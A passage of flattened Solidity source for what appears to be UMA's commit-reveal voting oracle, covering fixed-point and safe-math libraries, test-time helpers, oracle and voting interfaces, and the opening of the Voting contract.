return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/VotingInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain no ancillary data.
abstract contract VotingInterfaceTesting is OracleInterface, VotingInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingInterface.PendingRequest[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "./VotingAncillaryInterface.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint256 time;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint256 time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint256 time;
int256 price;
int256 salt;
}
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) external virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(Commitment[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(Reveal[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests()
external
view
virtual
returns (VotingAncillaryInterface.PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (VotingAncillaryInterface.Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequest[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that voters must use to Vote on price request resolutions.
*/
abstract contract VotingAncillaryInterface {
struct PendingRequestAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct CommitmentAncillary {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct RevealAncillary {
bytes32 identifier;
uint256 time;
int256 price;
bytes ancillaryData;
int256 salt;
}
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
// `NUM_PHASES_PLACEHOLDER` is to get the number of phases. It isn't an actual phase, and it should always be last.
enum Phase { Commit, Reveal, NUM_PHASES_PLACEHOLDER }
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public virtual;
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is stored on chain.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits array of structs that encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public virtual;
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public virtual;
/**
* @notice snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times but each round will only every have one snapshot at the
* time of calling `_freezeRoundVariables`.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature) external virtual;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price is being voted on.
* @param price voted on during the commit phase.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
